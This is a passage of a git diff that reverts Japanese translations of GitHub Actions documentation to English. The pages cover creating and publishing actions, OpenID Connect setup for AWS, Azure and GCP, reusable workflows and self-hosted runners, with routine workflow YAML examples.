-これで、ワークフローでアクションをテストできるようになりました。 プライベートリポジトリにあるアクションは、同じリポジトリのワークフローでしか使用できません。 パブリックアクションは、どのリポジトリのワークフローでも使用できます。 +Now you're ready to test your action out in a workflow. When an action is in a private repository, the action can only be used in workflows in the same repository. Public actions can be used by workflows in any repository. {% data reusables.actions.enterprise-marketplace-actions %} -### パブリックアクションを使用する例 +### Example using a public action This example demonstrates how your new public action can be run from within an external repository. -Copy the following YAML into a new file at `.github/workflows/main.yml`, and update the `uses: octocat/hello-world-javascript-action@v1.1` line with your username and the name of the public repository you created above. `who-to-greet`の入力を自分の名前に置き換えることもできます。 +Copy the following YAML into a new file at `.github/workflows/main.yml`, and update the `uses: octocat/hello-world-javascript-action@v1.1` line with your username and the name of the public repository you created above. You can also replace the `who-to-greet` input with your name. {% raw %} -```yaml +```yaml{:copy} on: [push] jobs: @@ -235,13 +240,13 @@ jobs: When this workflow is triggered, the runner will download the `hello-world-javascript-action` action from your public repository and then execute it. -### プライベートアクションを使用する例 +### Example using a private action -ワークフローコードを、あなたのアクションのリポジトリの `.github/workflows/main.yml` ファイルにコピーします。 `who-to-greet`の入力を自分の名前に置き換えることもできます。 +Copy the workflow code into a `.github/workflows/main.yml` file in your action's repository. You can also replace the `who-to-greet` input with your name. {% raw %} **.github/workflows/main.yml** -```yaml +```yaml{:copy} on: [push] jobs: @@ -249,8 +254,8 @@ jobs: runs-on: ubuntu-latest name: A job to say hello steps: - # このリポジトリのプライベートアクションを使用するには - # リポジトリをチェックアウトする + # To use this repository's private action, + # you must check out the repository - name: Checkout uses: actions/checkout@v2 - name: Hello world action step @@ -258,18 +263,18 @@ jobs: id: hello with: who-to-greet: 'Mona the Octocat' - # 「hello」ステップの出力を使用する + # Use the output from the `hello` step - name: Get the output time run: echo "The time was ${{ steps.hello.outputs.time }}" ``` {% endraw %} -リポジトリから [**Actions**] タブをクリックして、最新のワークフロー実行を選択します。 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}"Hello Mona the Octocat"、または `who-to-greet` 入力に指定した名前とタイムスタンプがログに出力されます。 +From your repository, click the **Actions** tab, and select the latest workflow run. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% ifversion fpt or ghes > 3.0 or ghae or ghec %} -![ワークフローでアクションを使用しているスクリーンショット](/assets/images/help/repository/javascript-action-workflow-run-updated-2.png) +![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated-2.png) {% elsif ghes %} -![ワークフローでアクションを使用しているスクリーンショット](/assets/images/help/repository/javascript-action-workflow-run-updated.png) +![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run-updated.png) {% else %} -![ワークフローでアクションを使用しているスクリーンショット](/assets/images/help/repository/javascript-action-workflow-run.png) +![A screenshot of using your action in a workflow](/assets/images/help/repository/javascript-action-workflow-run.png) {% endif %} diff --git a/translations/ja-JP/content/actions/creating-actions/publishing-actions-in-github-marketplace.md b/translations/ja-JP/content/actions/creating-actions/publishing-actions-in-github-marketplace.md index 81dfd4929c..e264f2a72e 100644 --- a/translations/ja-JP/content/actions/creating-actions/publishing-actions-in-github-marketplace.md +++ b/translations/ja-JP/content/actions/creating-actions/publishing-actions-in-github-marketplace.md @@ -1,6 +1,6 @@ --- -title: GitHub Marketplaceでのアクションの公開 -intro: '{% data variables.product.prodname_marketplace %}でアクションを公開し、作成したアクションを{% data variables.product.prodname_dotcom %}コミュニティと共有できます。' +title: Publishing actions in GitHub Marketplace +intro: 'You can publish actions in {% data variables.product.prodname_marketplace %} and share actions you''ve created with the {% data variables.product.prodname_dotcom %} community.' redirect_from: - /github/automating-your-workflow-with-github-actions/publishing-actions-in-github-marketplace - /actions/automating-your-workflow-with-github-actions/publishing-actions-in-github-marketplace @@ -12,46 +12,56 @@ type: how_to shortTitle: Publish in GitHub Marketplace --- -{% data variables.product.prodname_marketplace %}でアクションを公開するには、利用規約に同意していなければなりません。 +You must accept the terms of service to publish actions in {% data variables.product.prodname_marketplace %}. -## アクションの公開について +## About publishing actions -アクションを公開できるようになるには、リポジトリ中でアクションを作成しなければなりません。 詳細については、「[アクションを作成する](/actions/creating-actions)」を参照してください。 +Before you can publish an action, you'll need to create an action in your repository. For more information, see "[Creating actions](/actions/creating-actions)." -{% data variables.product.prodname_marketplace %}へのアクションの公開を計画しているなら、リポジトリにはアクションに必要なメタデータファイル、コード、ファイルだけが含まれているようにしなければなりません。 Creating a single repository for the action allows you to tag, release, and package the code in a single unit. {% data variables.product.prodname_dotcom %}は、{% data variables.product.prodname_marketplace %}ページ上のアクションのメタデータも利用します。 +When you plan to publish your action to {% data variables.product.prodname_marketplace %}, you'll need ensure that the repository only includes the metadata file, code, and files necessary for the action. Creating a single repository for the action allows you to tag, release, and package the code in a single unit. {% data variables.product.prodname_dotcom %} also uses the action's metadata on your {% data variables.product.prodname_marketplace %} page. -アクションは{% data variables.product.prodname_marketplace %}に即座に公開され、以下の要求を満たしていれば{% data variables.product.prodname_dotcom %}によってレビューされません。 +Actions are published to {% data variables.product.prodname_marketplace %} immediately and aren't reviewed by {% data variables.product.prodname_dotcom %} as long as they meet these requirements: -- アクションはパブリックリポジトリにあること。 -- それぞれのリポジトリには1つのアクションだけが含まれている。 -- アクションのメタデータファイル（`action.yml`もしくは`action.yaml`）は、リポジトリのルートディレクトリになければならない。 -- アクションのメタデータファイル中の`name`がユニークであること。 - - `name`は{% data variables.product.prodname_marketplace %}で公開されている既存のアクション名とマッチしてはならない。 - - `name`は、そのアクションを公開しているユーザもしくはOrganizationのオーナー以外の{% data variables.product.prodname_dotcom %}上のユーザもしくはOrganizationとマッチしてはならない。 たとえば`github`という名前のアクションを公開できるのは{% data variables.product.prodname_dotcom %} Organizationだけである。 - - `name`は既存の{% data variables.product.prodname_marketplace %}のカテゴリとマッチしてはならない。 - - {% data variables.product.prodname_dotcom %}は{% data variables.product.prodname_dotcom %}の機能の名前を予約している。 +- The action must be in a public repository. +- Each repository must contain a single action. +- The action's metadata file (`action.yml` or `action.yaml`) must be in the root directory of the repository. +- The `name` in the action's metadata file must be unique. + - The `name` cannot match an existing action name published on {% data variables.product.prodname_marketplace %}. + - The `name` cannot match a user or organization on {% data variables.product.prodname_dotcom %}, unless the user or organization owner is publishing the action. For example, only the {% data variables.product.prodname_dotcom %} organization can publish an action named `github`. + - The `name` cannot match an existing {% data variables.product.prodname_marketplace %} category. + - {% data variables.product.prodname_dotcom %} reserves the names of {% data variables.product.prodname_dotcom %} features. -## アクションの公開 +## Publishing an action -作成したアクションは、新しいリリースとしてタグ付けして公開することによって、{% data variables.product.prodname_marketplace %}に追加できます。 +You can add the action you've created to {% data variables.product.prodname_marketplace %} by tagging it as a new release and publishing it. -新しいリリースのドラフトを作成し、アクションを{% data variables.product.prodname_marketplace %}に公開するには、以下の指示に従ってください。 +To draft a new release and publish the action to {% data variables.product.prodname_marketplace %}, follow these instructions: {% data reusables.repositories.navigate-to-repo %} -1. アクションのメタデータファイル（`action.yml`もしくは`action.yaml`）がリポジトリに含まれているなら、{% data variables.product.prodname_marketplace %}にアクションを公開するバナーが表示されます。 [**Draft a release（リリースのドラフト）**] をクリックしてください。 ![マーケットプレイスへのアクションの公開ボタン](/assets/images/help/repository/publish-github-action-to-markeplace-button.png) -1. **Publish this action to the {% data variables.product.prodname_marketplace %}（{% data variables.product.prodname_marketplace %}へのアクションの公開）**を選択してください。 **Publish this action to the {% data variables.product.prodname_marketplace %}（{% data variables.product.prodname_marketplace %}へのアクションの公開）**のチェックボックスを選択できない場合は、まず{% data variables.product.prodname_marketplace %}の契約を読んで受諾しなければなりません。 ![マーケットプレイスへの公開の選択](/assets/images/help/repository/marketplace_actions_publish.png) -1. メタデータファイル内のラベルに何か問題があれば、エラーメッセージが表示されます。 ![通知の表示](/assets/images/help/repository/marketplace_actions_fixerrors.png) -1. スクリーン上にサジェッションが表示されたなら、メタデータファイルを更新して対処してください。 完了すると、"Everything looks good!（すべて良好！）"メッセージが表示されます。 ![エラーの修復](/assets/images/help/repository/marketplace_actions_looksgood.png) -1. "Primary Category（主なカテゴリ）"を選択し、場合によっては"Another Category（もう1つのカテゴリ）"も選択し、{% data variables.product.prodname_marketplace %}でアクションが見つけられやすくなるようにしてください。 ![カテゴリの選択](/assets/images/help/repository/marketplace_actions_categories.png) -1. アクションにバージョンでタグ付けして、リリースタイトルを追加してください。 これで、そのリリースに含まれる変更や機能が分かりやすくなります。 このバージョンは、アクションの専用の{% data variables.product.prodname_marketplace %}ページに表示されます。 ![バージョンのタグ付け](/assets/images/help/repository/marketplace_actions_version.png) -1. 他のすべてのフィールドに記入して、**Publish release（リリースの公開）**をクリックしてください。 公開をするには、2要素認証を使っていなければなりません。 詳しい情報については「[2 要素認証の設定](/articles/configuring-two-factor-authentication/)」を参照してください。 ![リリースを公開する](/assets/images/help/repository/marketplace_actions_publishrelease.png) +1. When a repository contains an action metadata file (`action.yml` or `action.yaml`), you'll see a banner to publish the action to {% data variables.product.prodname_marketplace %}. Click **Draft a release**. +![Publish this action to markeplace button](/assets/images/help/repository/publish-github-action-to-markeplace-button.png) +1. Select **Publish this action to the {% data variables.product.prodname_marketplace %}**. If you can't select the **Publish this action to the {% data variables.product.prodname_marketplace %}** checkbox, you'll need to read and accept the {% data variables.product.prodname_marketplace %} agreement first. +![Select publish to Marketplace](/assets/images/help/repository/marketplace_actions_publish.png) +1. If the labels in your metadata file contain any problems, you will see an error message. +![See notification](/assets/images/help/repository/marketplace_actions_fixerrors.png) +1. If you see any on-screen suggestions, address them by updating your metadata file. Once complete, you will see an "Everything looks good!" message. +![Fix errors](/assets/images/help/repository/marketplace_actions_looksgood.png) +1. Choose a "Primary Category" and, optionally, "Another Category" which will help people find your action in {% data variables.product.prodname_marketplace %}. +![Choose category](/assets/images/help/repository/marketplace_actions_categories.png) +1. Tag your Action with a version, and add a release title. This helps people know what changes or features the release includes. People will see the version in the action's dedicated {% data variables.product.prodname_marketplace %} page. +![Tag a version](/assets/images/help/repository/marketplace_actions_version.png) +1. Complete all other fields and click **Publish release**. Publishing requires you to use two-factor authentication. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication/)." +![Publish the release](/assets/images/help/repository/marketplace_actions_publishrelease.png) -## {% data variables.product.prodname_marketplace %}からのアクションの削除 +## Removing an action from {% data variables.product.prodname_marketplace %} -{% data variables.product.prodname_marketplace %}から公開されたアクションを削除するには、それぞれの公開リリースを更新しなければなりません。 以下のステップを、{% data variables.product.prodname_marketplace %}に公開したアクションの各リリースに対して行ってください。 +To remove a published action from {% data variables.product.prodname_marketplace %}, you'll need to update each published release. Perform the following steps for each release of the action you've published to {% data variables.product.prodname_marketplace %}. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.releases %} -3. リリースのページで、編集するリリースの右にある [**Edit**] をクリックします。 ![リリースの編集ボタン](/assets/images/help/releases/release-edit-btn.png) -4. **Publish this action to the {% data variables.product.prodname_marketplace %}（{% data variables.product.prodname_marketplace %}へのアクションの公開）**を選択して、チェックを外してください。 ![アクションの公開ボタン](/assets/images/help/repository/actions-marketplace-unpublish.png) -5. ページの下部にある**Update release（リリースの更新）**をクリックしてください。 ![リリースの更新ボタン](/assets/images/help/repository/actions-marketplace-update-release.png) +3. On the Releases page, to the right of the release you want to edit, click **Edit**. +![Release edit button](/assets/images/help/releases/release-edit-btn.png) +4. Select **Publish this action to the {% data variables.product.prodname_marketplace %}** to remove the check from the box. +![Publish this action button](/assets/images/help/repository/actions-marketplace-unpublish.png) +5. Click **Update release** at the bottom of the page. +![Update release button](/assets/images/help/repository/actions-marketplace-update-release.png) diff --git a/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md b/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md index c55407c644..d7dcd59852 100644 --- a/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md +++ b/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md @@ -1,11 +1,11 @@ --- title: Configuring OpenID Connect in Amazon Web Services shortTitle: Configuring OpenID Connect in Amazon Web Services -intro: Use OpenID Connect within your workflows to authenticate with Amazon Web Services. +intro: 'Use OpenID Connect within your workflows to authenticate with Amazon Web Services.' miniTocMaxHeadingLevel: 3 versions: fpt: '*' - ghae: issue-4856 + ghae: 'issue-4856' ghec: '*' type: tutorial topics: @@ -15,13 +15,13 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -## 概要 +## Overview -OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Amazon Web Services (AWS), without needing to store the AWS credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. +OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Amazon Web Services (AWS), without needing to store the AWS credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. This guide explains how to configure AWS to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`aws-actions/configure-aws-credentials`](https://github.com/aws-actions/configure-aws-credentials) that uses tokens to authenticate to AWS and access resources. -## 必要な環境 +## Prerequisites {% data reusables.actions.oidc-link-to-intro %} @@ -38,18 +38,17 @@ To add the {% data variables.product.prodname_dotcom %} OIDC provider to IAM, se To configure the role and trust in IAM, see the AWS documentation for ["Assuming a Role"](https://github.com/aws-actions/configure-aws-credentials#assuming-a-role) and ["Creating a role for web identity or OpenID connect federation"](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html). -By default, the validation only includes the audience (`aud`) condition, so you must manually add a subject (`sub`) condition. Edit the trust relationship to add the `sub` field to the validation conditions. 例: +Edit the trust relationship to add the `sub` field to the validation conditions. For example: ```json{:copy} "Condition": { "StringEquals": { - "token.actions.githubusercontent.com:aud": "https://github.com/octo-org", "token.actions.githubusercontent.com:sub": "repo:octo-org/octo-repo:ref:refs/heads/octo-branch" } } ``` -## {% data variables.product.prodname_actions %} ワークフローを更新する +## Updating your {% data variables.product.prodname_actions %} workflow To update your workflows for OIDC, you will need to make two changes to your YAML: 1. Add permissions settings for the token. @@ -57,14 +56,14 @@ To update your workflows for OIDC, you will need to make two changes to your YAM ### Adding permissions settings -The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. 例: +The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. For example: ```yaml{:copy} permissions: id-token: write ``` -You may need to specify additional permissions here, depending on your workflow's requirements. +You may need to specify additional permissions here, depending on your workflow's requirements. ### Requesting the access token @@ -86,7 +85,7 @@ env: # permission can be added at job level or workflow level permissions: id-token: write - contents: write # This is required for actions/checkout@v1 + contents: read # This is required for actions/checkout@v1 jobs: S3PackageUpload: runs-on: ubuntu-latest diff --git a/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md b/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md index 79a4961cc8..80231b121a 100644 --- a/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md +++ b/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md @@ -1,11 +1,11 @@ --- title: Configuring OpenID Connect in Azure shortTitle: Configuring OpenID Connect in Azure -intro: Use OpenID Connect within your workflows to authenticate with Azure. +intro: 'Use OpenID Connect within your workflows to authenticate with Azure.' miniTocMaxHeadingLevel: 3 versions: fpt: '*' - ghae: issue-4856 + ghae: 'issue-4856' ghec: '*' type: tutorial topics: @@ -15,13 +15,13 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -## 概要 +## Overview -OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Azure, without needing to store the Azure credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. +OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Azure, without needing to store the Azure credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. This guide gives an overview of how to configure Azure to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`azure/login`](https://github.com/Azure/login) action that uses tokens to authenticate to Azure and access resources. -## 必要な環境 +## Prerequisites {% data reusables.actions.oidc-link-to-intro %} @@ -42,7 +42,7 @@ Additional guidance for configuring the identity provider: - For security hardening, make sure you've reviewed ["Configuring the OIDC trust with the cloud"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud). For an example, see ["Configuring the subject in your cloud provider"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-subject-in-your-cloud-provider). - For the `audience` setting, `api://AzureADTokenExchange` is the recommended value, but you can also specify other values here. -## {% data variables.product.prodname_actions %} ワークフローを更新する +## Updating your {% data variables.product.prodname_actions %} workflow To update your workflows for OIDC, you will need to make two changes to your YAML: 1. Add permissions settings for the token. @@ -50,14 +50,14 @@ To update your workflows for OIDC, you will need to make two changes to your YAM ### Adding permissions settings -The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. 例: +The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. For example: ```yaml{:copy} permissions: id-token: write ``` -You may need to specify additional permissions here, depending on your workflow's requirements. +You may need to specify additional permissions here, depending on your workflow's requirements. ### Requesting the access token @@ -65,36 +65,28 @@ The [`azure/login`](https://github.com/Azure/login) action receives a JWT from t The following example exchanges an OIDC ID token with Azure to receive an access token, which can then be used to access cloud resources. +{% raw %} ```yaml{:copy} -name: Run Azure Login with OpenID Connect +name: Run Azure Login with OIDC on: [push] permissions: id-token: write - + contents: read jobs: build-and-deploy: runs-on: ubuntu-latest steps: - - - name: Installing CLI-beta for OpenID Connect - run: | - cd ../.. - CWD="$(pwd)" - python3 -m venv oidc-venv - . oidc-venv/bin/activate - echo "activated environment" - python3 -m pip install -q --upgrade pip - echo "started installing cli beta" - pip install -q --extra-index-url https://azcliprod.blob.core.windows.net/beta/simple/ azure-cli - echo "***************installed cli beta*******************" - echo "$CWD/oidc-venv/bin" >> $GITHUB_PATH - - - name: 'Az CLI login' - uses: azure/login@v1.4.0 - with: - client-id: {% raw %}${{ secrets.AZURE_CLIENTID }}{% endraw %} - tenant-id: {% raw %}${{ secrets.AZURE_TENANTID }}{% endraw %} - subscription-id: {% raw %}${{ secrets.AZURE_SUBSCRIPTIONID }}{% endraw %} + - name: 'Az CLI login' + uses: azure/login@v1 + with: + client-id: ${{ secrets.AZURE_CLIENT_ID }} + tenant-id: ${{ secrets.AZURE_TENANT_ID }} + subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} + + - name: 'Run az commands' + run: | + az account show + az group list ``` - + {% endraw %} diff --git a/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md b/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md index ffbea5e67b..ec07382cbc 100644 --- a/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md +++ b/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md @@ -1,11 +1,11 @@ --- title: Configuring OpenID Connect in Google Cloud Platform shortTitle: Configuring OpenID Connect in Google Cloud Platform -intro: Use OpenID Connect within your workflows to authenticate with Google Cloud Platform. +intro: 'Use OpenID Connect within your workflows to authenticate with Google Cloud Platform.' miniTocMaxHeadingLevel: 3 versions: fpt: '*' - ghae: issue-4856 + ghae: 'issue-4856' ghec: '*' type: tutorial topics: @@ -15,13 +15,13 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -## 概要 +## Overview -OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Google Cloud Platform (GCP), without needing to store the GCP credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. +OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Google Cloud Platform (GCP), without needing to store the GCP credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. This guide gives an overview of how to configure GCP to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`google-github-actions/auth`](https://github.com/google-github-actions/auth) action that uses tokens to authenticate to GCP and access resources. -## 必要な環境 +## Prerequisites {% data reusables.actions.oidc-link-to-intro %} @@ -33,7 +33,7 @@ To configure the OIDC identity provider in GCP, you will need to perform the fol 1. Create a new identity pool. 2. Configure the mapping and add conditions. -3. Connect the new pool to a service account. +3. Connect the new pool to a service account. Additional guidance for configuring the identity provider: @@ -41,7 +41,7 @@ Additional guidance for configuring the identity provider: - For the service account to be available for configuration, it needs to be assigned to the `roles/iam.workloadIdentityUser` role. For more information, see [the GCP documentation](https://cloud.google.com/iam/docs/workload-identity-federation?_ga=2.114275588.-285296507.1634918453#conditions). - The Issuer URL to use: `https://token.actions.githubusercontent.com` -## {% data variables.product.prodname_actions %} ワークフローを更新する +## Updating your {% data variables.product.prodname_actions %} workflow To update your workflows for OIDC, you will need to make two changes to your YAML: 1. Add permissions settings for the token. @@ -49,14 +49,14 @@ To update your workflows for OIDC, you will need to make two changes to your YAM ### Adding permissions settings -The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. 例: +The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. For example: ```yaml{:copy} permissions: id-token: write ``` -You may need to specify additional permissions here, depending on your workflow's requirements. +You may need to specify additional permissions here, depending on your workflow's requirements. ### Requesting the access token @@ -70,6 +70,7 @@ This example has a job called `Get_OIDC_ID_token` that uses actions to request a This action exchanges a {% data variables.product.prodname_dotcom %} OIDC token for a Google Cloud access token, using [Workload Identity Federation](https://cloud.google.com/iam/docs/workload-identity-federation). +{% raw %} ```yaml{:copy} name: List services in GCP on: @@ -95,5 +96,6 @@ jobs: name: 'gcloud' run: |- gcloud auth login --brief --cred-file="${{ steps.auth.outputs.credentials_file_path }}" - gcloud config list + gcloud services list ``` +{% endraw %} diff --git a/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md b/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md index 97da7a894a..bcef498934 100644 --- a/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md +++ b/translations/ja-JP/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md @@ -1,13 +1,13 @@ --- title: Using OpenID Connect with reusable workflows shortTitle: Using OpenID Connect with reusable workflows -intro: You can use reusable workflows with OIDC to standardize and security harden your deployment steps. +intro: 'You can use reusable workflows with OIDC to standardize and security harden your deployment steps.' miniTocMaxHeadingLevel: 3 redirect_from: - /actions/deployment/security-hardening-your-deployments/using-oidc-with-your-reusable-workflows versions: fpt: '*' - ghae: issue-4757-and-5856 + ghae: 'issue-4757-and-5856' ghec: '*' type: how_to topics: @@ -18,12 +18,6 @@ topics: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -{% note %} - -**Note:** Reusable workflows are currently in beta and subject to change. - -{% endnote %} - ## About reusable workflows Rather than copying and pasting deployment jobs from one workflow to another, you can create a reusable workflow that performs the deployment steps. A reusable workflow can be used by another workflow if it meets one of the access requirements described in "[Reusing workflows](/actions/learn-github-actions/reusing-workflows#access-to-reusable-workflows)." @@ -74,7 +68,7 @@ For example, the following OIDC token is for a job that was part of a called wor If your reusable workflow performs deployment steps, then it will typically need access to a specific cloud role, and you might want to allow any repository in your organization to call that reusable workflow. To permit this, you'll create the trust condition that allows any repository and any caller workflow, and then filter on the organization and the called workflow. See the next section for some examples. -## サンプル +## Examples **Filtering for reusable workflows within a specific repository** @@ -93,9 +87,9 @@ You can configure a custom claim that filters for any reusable workflow in a spe You can configure a custom claim that filters for a specific reusable workflow. In this example, the workflow run must have originated from a job defined in the reusable workflow `octo-org/octo-automation/.github/workflows/deployment.yml`, and in any repository that is owned by the `octo-org` organization. - **Subject**: - - Syntax: `repo:ORG_NAME/*` - - Example: `repo:octo-org/*` + - Syntax: `repo:ORG_NAME/*` + - Example: `repo:octo-org/*` - **Custom claim**: - - Syntax: `job_workflow_ref:ORG_NAME/REPO_NAME/.github/workflows/WORKFLOW_FILE@ref` + - Syntax: `job_workflow_ref:ORG_NAME/REPO_NAME/.github/workflows/WORKFLOW_FILE@ref` - Example: `job_workflow_ref:octo-org/octo-automation/.github/workflows/deployment.yml@ 10040c56a8c0253d69db7c1f26a0d227275512e2` diff --git a/translations/ja-JP/content/actions/hosting-your-own-runners/about-self-hosted-runners.md b/translations/ja-JP/content/actions/hosting-your-own-runners/about-self-hosted-runners.md index 872ff65b2f..40d2652bc4 100644 --- a/translations/ja-JP/content/actions/hosting-your-own-runners/about-self-hosted-runners.md +++ b/translations/ja-JP/content/actions/hosting-your-own-runners/about-self-hosted-runners.md @@ -1,6 +1,6 @@ --- -title: セルフホストランナーについて -intro: '独自のランナーをホストして、{% data variables.product.prodname_actions %}ワークフロー中でジョブの実行に使われる環境をカスタマイズできます。' +title: About self-hosted runners +intro: 'You can host your own runners and customize the environment used to run jobs in your {% data variables.product.prodname_actions %} workflows.' redirect_from: - /github/automating-your-workflow-with-github-actions/about-self-hosted-runners - /actions/automating-your-workflow-with-github-actions/about-self-hosted-runners @@ -17,46 +17,46 @@ type: overview {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## セルフホストランナーについて +## About self-hosted runners -{% data reusables.github-actions.self-hosted-runner-description %} セルフホストランナーは、物理、仮想、コンテナ内、オンプレミス、クラウド内のいずれでも可能です。 +{% data reusables.github-actions.self-hosted-runner-description %} Self-hosted runners can be physical, virtual, in a container, on-premises, or in a cloud. -管理階層のさまざまなレベルでセルフホストランナーを追加できます。 -- リポジトリレベルのランナーは、単一のリポジトリ専用です。 -- Organization レベルのランナーは、Organization 内の複数のリポジトリのジョブを処理できます。 -- Enterprise レベルのランナーは、Enterprise アカウントの複数の Organization に割り当てることができます。 +You can add self-hosted runners at various levels in the management hierarchy: +- Repository-level runners are dedicated to a single repository. +- Organization-level runners can process jobs for multiple repositories in an organization. +- Enterprise-level runners can be assigned to multiple organizations in an enterprise account. -ランナーマシンは、{% data variables.product.prodname_actions %}のセルフホストランナーアプリケーションを使って{% data variables.product.product_name %}に接続します。 {% data reusables.github-actions.runner-app-open-source %} 新しいバージョンがリリースされると、ランナーアプリケーションはランナーにジョブが割り当てられた時、あるいはジョブが割り当てられなかったなら、リリースから一週間以内に、自動的に自分をアップデートします。 +Your runner machine connects to {% data variables.product.product_name %} using the {% data variables.product.prodname_actions %} self-hosted runner application. {% data reusables.github-actions.runner-app-open-source %} When a new version is released, the runner application automatically updates itself when a job is assigned to the runner, or within a week of release if the runner hasn't been assigned any jobs. {% data reusables.github-actions.self-hosted-runner-auto-removal %} -セルフホストランナーのインストールと利用に関する詳しい情報については「[セルフホストランナーの追加](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners)」及び「[ワークフロー内でのセルフホストランナーの利用](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)」を参照してください。 +For more information about installing and using self-hosted runners, see "[Adding self-hosted runners](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners)" and "[Using self-hosted runners in a workflow](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)." -## {% data variables.product.prodname_dotcom %}ホストランナーとセルフホストランナーの違い +## Differences between {% data variables.product.prodname_dotcom %}-hosted and self-hosted runners -{% data variables.product.prodname_dotcom %}ホストランナーは、ワークフローを素早くシンプルに実行する方法を提供しますが、セルフホストランナーはユーザのカスタム環境内でワークフローを実行する、設定の幅が広い方法です。 +{% data variables.product.prodname_dotcom %}-hosted runners offer a quicker, simpler way to run your workflows, while self-hosted runners are a highly configurable way to run workflows in your own custom environment. -**{% data variables.product.prodname_dotcom %}ホストランナーは：** -- オペレーティングシステム、プリインストールされたパッケージとツール、セルフホストランナーアプリケーションの自動アップデートを受信します。 -- {% data variables.product.prodname_dotcom %}によって管理及びメンテナンスされます。 -- ジョブの実行のたびにクリーンなインスタンスを提供します。 -- {% data variables.product.prodname_dotcom %}プランの無料の分を使います。無料の分を超えると、分単位のレートが適用されます。 +**{% data variables.product.prodname_dotcom %}-hosted runners:** +- Receive automatic updates for the operating system, preinstalled packages and tools, and the self-hosted runner application. +- Are managed and maintained by {% data variables.product.prodname_dotcom %}. +- Provide a clean instance for every job execution. +- Use free minutes on your {% data variables.product.prodname_dotcom %} plan, 